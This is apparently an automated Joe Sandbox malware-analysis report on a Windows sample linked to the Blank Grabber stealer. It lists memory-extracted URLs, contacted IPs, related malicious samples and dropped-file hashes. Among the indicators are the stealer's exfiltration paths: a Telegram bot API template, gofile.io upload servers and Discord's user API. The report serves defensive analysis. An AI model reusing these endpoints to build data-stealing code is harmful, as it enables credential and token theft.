https://images-ext-1.discordapp.net/external/etSU0hGkd0ttMXA41AUjUl74oI1ajbez8WS2N-KLvK4/https/raw.g	e45AiBoV6X.exe, 00000001.00000002.1987306791.000002290B039000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986949781.000002290B00B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986903181.000002290AFF2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984419770.000002290AFF0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B00B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290AE6A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://MD8.mozilla.org/1/m	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/1248781326262468744/1264315028736180234/Blank-user.rar?ex=66	e45AiBoV6X.exe, 00000001.00000003.1982906328.000002290B033000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983434642.000002290B038000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hostingr	e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bugzilla.mo	e45AiBoV6X.exe, 00000001.00000003.1881191624.000002290B113000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot%s/%s)	e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000006.00000002.1872141468.0000021941BA8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google.com/mail	e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	e45AiBoV6X.exe, 00000001.00000002.1984931538.000002290897F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://foss.heptapod.net/pypy/pypy/-/issues/3539	e45AiBoV6X.exe, 00000001.00000002.1987655713.000002290B2D0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	e45AiBoV6X.exe, 00000001.00000002.1986388661.000002290AF7E000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://google.com/	e45AiBoV6X.exe, 00000001.00000002.1985469081.000002290AA69000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.gofile.io/getServerr	e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.python.org/download/releases/2.3/mro/.	e45AiBoV6X.exe, 00000001.00000002.1985753646.000002290AAD0000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discordapp.com/api/v9/users/	e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com/json/?fields=225545r	e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/urllib3/urllib3/issues/2920	e45AiBoV6X.exe, 00000001.00000002.1987767316.000002290B3D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	e45AiBoV6X.exe, 00000001.00000003.1830286193.000002290B15C000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1829771493.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1880836585.000002290BB8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986388661.000002290AF60000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yahoo.com/	e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.bellmedia.c	e45AiBoV6X.exe, 00000001.00000002.1988820175.000002290BF48000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982362710.000002290B8E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290AE6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1988820175.000002290BF4C000.00000004.00001000.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1982362710.000002290B8E8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/	e45AiBoV6X.exe, 00000001.00000003.1785007830.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1986264729.000002290AEB5000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1764714930.000002290AEB7000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1881510721.000002290AEB4000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983212942.000002290AEB4000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1835081648.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1789596748.000002290AEBB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	e45AiBoV6X.exe, 00000001.00000002.1987655713.000002290B2D0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000025.00000002.1843488107.0000029681606000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoftISPLA~1.PNGy.L	e45AiBoV6X.exe, 00000001.00000002.1986774227.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1983989604.000002290AFCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.gofile.io/getServer	e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.1937080762.00000219519F7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1843488107.0000029681972000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1862744633.00000296901BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1862744633.000002969007C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000025.00000002.1843488107.0000029681606000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Blank-c/Blank-GrabberrV	e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.co.uk/	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	e45AiBoV6X.exe, 00000000.00000003.1719392220.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000000.00000003.1718378444.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz	e45AiBoV6X.exe, 00000001.00000003.1739482392.000002290AE26000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1738014114.000002290AE01000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737962757.000002290ADC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.comod	e45AiBoV6X.exe, 00000001.00000003.1761395137.000002290B00C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.python.org/dev/peps/pep-0205/	e45AiBoV6X.exe, 00000000.00000003.1717679887.000001F32EEDF000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1736201846.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737797560.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1736689465.000002290AA40000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1737369965.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1725631506.000002290AA3D000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985865273.000002290ABD0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.wykop.pl/	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B644000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://twitter.com/	e45AiBoV6X.exe, 00000001.00000002.1986630728.000002290AF8B000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290ACD0000.00000004.00000020.00020000.00000000.sdmp, e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.olx.pl/	e45AiBoV6X.exe, 00000001.00000002.1988000626.000002290B698000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	e45AiBoV6X.exe, 00000001.00000003.1764894979.000002290B065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/	e45AiBoV6X.exe, 00000001.00000003.1984164140.000002290AF88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/mail/	e45AiBoV6X.exe, 00000001.00000002.1985469081.000002290AA69000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	e45AiBoV6X.exe, 00000001.00000003.1833183214.000002290B14E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://google.com/mail/	e45AiBoV6X.exe, 00000001.00000002.1985975693.000002290AE6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.137.232	canary.discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477272
Start date and time:	2024-07-20 22:15:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	88
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	e45AiBoV6X.exe renamed because original name is a hash value
Original Sample Name:	3e6d7972822636f67ccf275ebd140188.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@135/52@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 94% Number of executed functions: 116 Number of non-executed functions: 207
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 13.85.23.86, 20.166.126.56, 13.95.31.18
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, gstatic.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1368 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7544 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
16:16:10	API Interceptor	123x Sleep call for process: powershell.exe modified
16:16:11	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	iA8m9FfF5v.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	R6UcgOy5nE.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	PR240614_ORDER.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	ip-api.com/line/?fields=hosting
	IEnetcache.hta	Get hash	malicious	Cobalt Strike, AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	winiti.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	payment_application.xls	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	0RA0ngi2c2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Payment swift copy103988.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Enquiry-Dubai.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	ip-api.com/line/?fields=hosting
	172131942401ffa05fff4c7d2b222e93d44117cc2a702a757a1aa7c5c6fc9cfeeacb380f89693.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	ip-api.com/line/?fields=hosting
162.159.137.232	http://mj-api.kun-ai.com/	Get hash	malicious	Unknown	Browse
	0x000700000001ac52-36.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse
	http://huoqu.26335442079873.workers.dev/	Get hash	malicious	Unknown	Browse
	Exter.exe	Get hash	malicious	Exela Stealer, Python Stealer	Browse
	golang-modules.exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Blank Grabber, Njrat, Umbral Stealer, XWorm	Browse
	SecuriteInfo.com.Trojan.Win64.Agent.14415.19839.exe	Get hash	malicious	Unknown	Browse
	https://prohubth.com/	Get hash	malicious	Unknown	Browse
	node.js.exe	Get hash	malicious	Unknown	Browse
	msupdate.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	iA8m9FfF5v.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	R6UcgOy5nE.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PR240614_ORDER.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
	IEnetcache.hta	Get hash	malicious	Cobalt Strike, AgentTesla, PureLog Stealer	Browse	208.95.112.1
	winiti.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	payment_application.xls	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	0RA0ngi2c2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Payment swift copy103988.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Enquiry-Dubai.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
	172131942401ffa05fff4c7d2b222e93d44117cc2a702a757a1aa7c5c6fc9cfeeacb380f89693.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
canary.discord.com	Built (1).exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	GalacticShooter (3).exe	Get hash	malicious	Unknown	Browse	162.159.136.232
	GalacticShooter (3).exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	322pVOVprx.exe	Get hash	malicious	Creal Stealer	Browse	162.159.128.233
	S3zoj9Uts0.exe	Get hash	malicious	Unknown	Browse	162.159.138.232
	uBZeAVcb6r.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	12057ad2.exe	Get hash	malicious	NitroRansomware	Browse	162.159.138.232
	build (2).exe	Get hash	malicious	Stealerium	Browse	162.159.136.232
	Evo_Spoofer_V2.exe	Get hash	malicious	Hog Grabber	Browse	162.159.135.232
	qgMcnt4meR.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
bg.microsoft.map.fastly.net	Chrome.msi	Get hash	malicious	Unknown	Browse	199.232.214.172
	WindowsProgram.msi	Get hash	malicious	Unknown	Browse	199.232.214.172
	P.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	nKMY2cYqFR.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	file.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
	echo-12DRSO-LQdNuUix.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Tofsee	Browse	199.232.210.172
	9YDEsXvk5V.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
	release_resources.img	Get hash	malicious	LummaC	Browse	199.232.214.172
	https://uitp5vcr.paperform.co/	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://becast.onionlive.workers.dev	Get hash	malicious	Unknown	Browse	172.67.141.108
	SecuriteInfo.com.Riskware.OfferCore.702.11507.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	104.18.21.226
	SetupApp_17.5.exe	Get hash	malicious	Unknown	Browse	104.26.13.171
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.64.41.3
	Flyingl Updated Handbook.docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	Flyingl Updated Handbook.docx	Get hash	malicious	Unknown	Browse	188.114.97.3
	git.software.v1.1.5.exe	Get hash	malicious	LummaC	Browse	104.21.12.83
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.64.41.3
	K_5194577-5935GS.exe	Get hash	malicious	Unknown	Browse	172.67.202.188
	IN-7948-55902MXH.exe	Get hash	malicious	Unknown	Browse	172.67.170.126
TUT-ASUS	iA8m9FfF5v.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	R6UcgOy5nE.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	PR240614_ORDER.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	IEnetcache.hta	Get hash	malicious	Cobalt Strike, AgentTesla, PureLog Stealer	Browse	208.95.112.1
	winiti.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	payment_application.xls	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	0RA0ngi2c2.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Payment swift copy103988.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI73802\VCRUNTIME140.dll	J263jrmRm4.exe	Get hash	malicious	Unknown	Browse
	00#U2800.exe	Get hash	malicious	Python Stealer	Browse
	SecuriteInfo.com.Python.ClipBanker.31.2455.3742.exe	Get hash	malicious	Unknown	Browse
	update23.bat	Get hash	malicious	Braodo	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	cloudflarething.exe	Get hash	malicious	Luna Stealer	Browse
	code.exe	Get hash	malicious	Unknown	Browse
	code.exe	Get hash	malicious	Unknown	Browse
	code.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\_MEI73802\_bz2.pyd	SecuriteInfo.com.Python.Muldrop.25.9854.9423.exe	Get hash	malicious	Blank Grabber	Browse
	SecuriteInfo.com.Python.Muldrop.25.8678.4056.exe	Get hash	malicious	Blank Grabber	Browse
	PpQMwNh.exe	Get hash	malicious	Blank Grabber	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\ ? ?? \Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	675496
Entropy (8bit):	7.921165891954267
Encrypted:	false
SSDEEP:	12288:oVc/rz4RFyq02FC9rrtwoYYxBtUvONQ/52BrOf17:7Gwq02MFSGzcEC
MD5:	B4B356A00DAA4375F251B75CFCEF3743
SHA1:	6F82DBE505B0F09CA6E6B53E265E6032DF5AA6C3
SHA-256:	3A7C112CF9A6F5A35A4334652CEE87FA93EFBCEB0825F12EC5EA81C0B8F27EC0
SHA-512:	918AE3C5642931F275CB7BA6C6CC35333123AF31849A6BC4D2D663DE747FD4CFACFF15113DE317D44DE0EA4840532726E96233C20183C112DD4F015D8C74CCE7
Malicious:	false
